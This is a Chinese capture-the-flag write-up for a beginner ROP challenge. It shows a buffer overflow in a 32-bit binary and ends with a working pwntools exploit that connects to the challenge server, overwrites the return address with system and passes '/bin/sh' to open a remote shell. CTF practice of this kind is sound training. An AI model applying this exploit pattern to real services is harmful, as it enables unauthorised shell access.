hktk1643

题目描述:菜鸡请教大神如何获得flag,大神告诉他‘使用`面向返回的编程`(ROP)就可以了’

题目附件: 附件1

 

 

file如下:

 

 checksec如下:

 

 IDA反汇编,查看main函数:

 

 查看vulnerable_function:

 

 存在缓冲区溢出漏洞和后门函数

Shift+F12查看字符串

 

 有"/bin/sh",那就好办了

查看system函数调用地址:

 

 查看"/bin/sh"地址:

 

 exp如下:

from pwn import *

#io = process(\'./pwn\')
io = connect(\'220.249.52.133\', 40113)

system_address = 0x0804845C
binsh_address = 0x0804A024

payload = b\'a\'*0x8c + p32(system_address) + p32(binsh_address)
io.sendlineafter(\'Input:\', payload)

io.interactive()

 

分类:

技术点:

相关文章: